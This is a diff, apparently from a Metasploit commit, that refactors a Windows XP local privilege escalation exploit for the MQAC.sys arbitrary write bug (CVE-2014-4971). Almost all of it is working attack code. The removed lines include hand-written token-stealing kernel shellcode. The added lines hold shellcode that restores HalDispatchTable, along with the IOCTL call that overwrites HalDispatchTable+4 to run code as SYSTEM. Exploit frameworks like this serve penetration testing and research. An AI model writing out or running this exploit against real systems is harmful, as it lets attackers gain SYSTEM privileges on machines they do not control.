4
4
##
5
5
6
6
require 'msf/core'
7
+ require 'msf/core/exploit/local/windows_kernel'
7
8
require 'rex'
8
9
9
10
class Metasploit3 < Msf ::Exploit ::Local
10
11
Rank = AverageRanking
11
12
13
+ include Msf ::Exploit ::Local ::WindowsKernel
12
14
include Msf ::Post ::Windows ::Priv
13
15
include Msf ::Post ::Windows ::Process
14
16
15
- INVALID_HANDLE_VALUE = 0xFFFFFFFF
16
-
17
17
def initialize ( info = { } )
18
18
super ( update_info ( info ,
19
19
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation' ,
@@ -41,6 +41,7 @@ def initialize(info = {})
41
41
[
42
42
[ 'Windows XP SP3' ,
43
43
{
44
+ 'HaliQuerySystemInfo' => 0x16bba ,
44
45
'_KPROCESS' => "\x44 " ,
45
46
'_TOKEN' => "\xc8 " ,
46
47
'_UPID' => "\x84 " ,
@@ -52,41 +53,13 @@ def initialize(info = {})
52
53
[
53
54
%w( CVE 2014-4971 ) ,
54
55
%w( EDB 34112 ) ,
55
- [ ' URL' , ' https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt' ]
56
+ %w( URL https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt )
56
57
] ,
57
58
'DisclosureDate' => 'Jul 22 2014' ,
58
59
'DefaultTarget' => 0
59
60
) )
60
61
end
61
62
62
- def find_sys_base ( drvname )
63
- session . railgun . add_dll ( 'psapi' ) unless session . railgun . dlls . keys . include? ( 'psapi' )
64
- lp_image_base = %w( PBLOB lpImageBase out )
65
- cb = %w( DWORD cb in )
66
- lpcb_needed = %w( PDWORD lpcbNeeded out )
67
- session . railgun . add_function ( 'psapi' , 'EnumDeviceDrivers' , 'BOOL' ,
68
- [ lp_image_base , cb , lpcb_needed ] )
69
- image_base = %w( LPVOID ImageBase in )
70
- lp_base_name = %w( PBLOB lpBaseName out )
71
- n_size = %w( DWORD nSize in )
72
- session . railgun . add_function ( 'psapi' , 'GetDeviceDriverBaseNameA' , 'DWORD' ,
73
- [ image_base , lp_base_name , n_size ] )
74
- results = session . railgun . psapi . EnumDeviceDrivers ( 4096 , 1024 , 4 )
75
- addresses = results [ 'lpImageBase' ] [ 0 ..results [ 'lpcbNeeded' ] - 1 ] . unpack ( 'L*' )
76
-
77
- addresses . each do |address |
78
- results = session . railgun . psapi . GetDeviceDriverBaseNameA ( address , 48 , 48 )
79
- current_drvname = results [ 'lpBaseName' ] [ 0 ..results [ 'return' ] - 1 ]
80
- if drvname . nil?
81
- if current_drvname . downcase . include? ( 'krnl' )
82
- return [ address , current_drvname ]
83
- end
84
- elsif drvname == results [ 'lpBaseName' ] [ 0 ..results [ 'return' ] - 1 ]
85
- return [ address , current_drvname ]
86
- end
87
- end
88
- end
89
-
90
63
# Function borrowed from smart_hashdump
91
64
def get_system_proc
92
65
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
@@ -106,20 +79,9 @@ def get_system_proc
106
79
end
107
80
end
108
81
109
- def open_device
110
- handle = session . railgun . kernel32 . CreateFileA ( '\\\\.\\MQAC' ,
111
- 'FILE_SHARE_WRITE|FILE_SHARE_READ' , 0 , nil , 'OPEN_EXISTING' , 0 , nil )
112
- handle = handle [ 'return' ]
113
- if handle == 0
114
- print_error ( 'Failed to open the \\\\.\\MQAC device' )
115
- return nil
116
- end
117
- handle
118
- end
119
-
120
82
def check
121
- handle = open_device
122
- if handle . nil? || handle == INVALID_HANDLE_VALUE
83
+ handle = open_device ( '\\\\.\\MQAC' , 'FILE_SHARE_WRITE|FILE_SHARE_READ' , 0 , 'OPEN_EXISTING' )
84
+ if handle . nil?
123
85
print_error ( 'MSMQ installation not found' )
124
86
return Exploit ::CheckCode ::Safe
125
87
end
@@ -155,12 +117,9 @@ def exploit
155
117
# results in a BSOD and so we should not let that happen.
156
118
return unless check == Exploit ::CheckCode ::Appears
157
119
158
- kernel_info = find_sys_base ( nil )
159
120
base_addr = 0xffff
160
- print_status ( "Kernel Base Address: 0x#{ kernel_info [ 0 ] . to_s ( 16 ) } " )
161
-
162
- handle = open_device
163
- return if handle . nil? || handle == INVALID_HANDLE_VALUE
121
+ handle = open_device ( '\\\\.\\MQAC' , 'FILE_SHARE_WRITE|FILE_SHARE_READ' , 0 , 'OPEN_EXISTING' )
122
+ return if handle . nil?
164
123
165
124
this_proc = session . sys . process . open
166
125
unless this_proc . memory . writable? ( base_addr )
@@ -175,41 +134,29 @@ def exploit
175
134
return
176
135
end
177
136
178
- hKernel = session . railgun . kernel32 . LoadLibraryExA ( kernel_info [ 1 ] , 0 , 1 )
179
- hKernel = hKernel [ 'return' ]
180
- halDispatchTable = session . railgun . kernel32 . GetProcAddress ( hKernel ,
181
- 'HalDispatchTable' )
182
- halDispatchTable = halDispatchTable [ 'return' ]
183
- halDispatchTable -= hKernel
184
- halDispatchTable += kernel_info [ 0 ]
185
- print_status ( "HalDisPatchTable Address: 0x#{ halDispatchTable . to_s ( 16 ) } " )
186
-
187
- tokenstealing = "\x52 " # push edx # Save edx on the stack
188
- tokenstealing << "\x53 " # push ebx # Save ebx on the stack
189
- tokenstealing << "\x33 \xc0 " # xor eax, eax # eax = 0
190
- tokenstealing << "\x64 \x8b \x80 \x24 \x01 \x00 \x00 " # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
191
- tokenstealing << "\x8b \x40 " + target [ '_KPROCESS' ] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
192
- tokenstealing << "\x8b \xc8 " # mov ecx, eax
193
- tokenstealing << "\x8b \x98 " + target [ '_TOKEN' ] + "\x00 \x00 \x00 " # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
194
- tokenstealing << "\x8b \x80 " + target [ '_APLINKS' ] + "\x00 \x00 \x00 " # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
195
- tokenstealing << "\x81 \xe8 " + target [ '_APLINKS' ] + "\x00 \x00 \x00 " # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
196
- tokenstealing << "\x81 \xb8 " + target [ '_UPID' ] + "\x00 \x00 \x00 \x04 \x00 \x00 \x00 " # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
197
- tokenstealing << "\x75 \xe8 " # jne 0000101e ======================
198
- tokenstealing << "\x8b \x90 " + target [ '_TOKEN' ] + "\x00 \x00 \x00 " # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
199
- tokenstealing << "\x8b \xc1 " # mov eax, ecx # Retrieves KPROCESS stored on ECX
200
- tokenstealing << "\x89 \x90 " + target [ '_TOKEN' ] + "\x00 \x00 \x00 " # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
201
- tokenstealing << "\x5b " # pop ebx # Restores ebx
202
- tokenstealing << "\x5a " # pop edx # Restores edx
203
- tokenstealing << "\xc2 \x10 " # ret 10h # Away from the kernel!
204
-
205
- shellcode = make_nops ( 0x200 ) + tokenstealing
137
+ haldispatchtable = find_haldispatchtable
138
+ return if haldispatchtable . nil?
139
+ print_status ( "HalDisPatchTable Address: 0x#{ haldispatchtable . to_s ( 16 ) } " )
140
+
141
+ vprint_status ( 'Getting the hal.dll base address...' )
142
+ hal_info = find_sys_base ( 'hal.dll' )
143
+ fail_with ( Failure ::Unknown , 'Failed to disclose hal.dll base address' ) if hal_info . nil?
144
+ hal_base = hal_info [ 0 ]
145
+ vprint_good ( "hal.dll base address disclosed at 0x#{ hal_base . to_s ( 16 ) . rjust ( 8 , '0' ) } " )
146
+ hali_query_system_information = hal_base + target [ 'HaliQuerySystemInfo' ]
147
+
148
+ restore_ptrs = "\x31 \xc0 " # xor eax, eax
149
+ restore_ptrs << "\xb8 " + [ hali_query_system_information ] . pack ( 'V' ) # mov eax, offset hal!HaliQuerySystemInformation
150
+ restore_ptrs << "\xa3 " + [ haldispatchtable + 4 ] . pack ( 'V' ) # mov dword ptr [nt!HalDispatchTable+0x4], eax
151
+
152
+ shellcode = make_nops ( 0x200 ) + restore_ptrs + token_stealing_shellcode ( target )
206
153
this_proc . memory . write ( 0x1 , shellcode )
207
154
this_proc . close
208
155
209
156
print_status ( 'Triggering vulnerable IOCTL' )
210
157
session . railgun . ntdll . NtDeviceIoControlFile ( handle , 0 , 0 , 0 , 4 , 0x1965020f ,
211
158
1 , 0x258 ,
212
- halDispatchTable + 0x4 , 0 )
159
+ haldispatchtable + 4 , 0 )
213
160
session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
214
161
215
162
unless is_system?
0 commit comments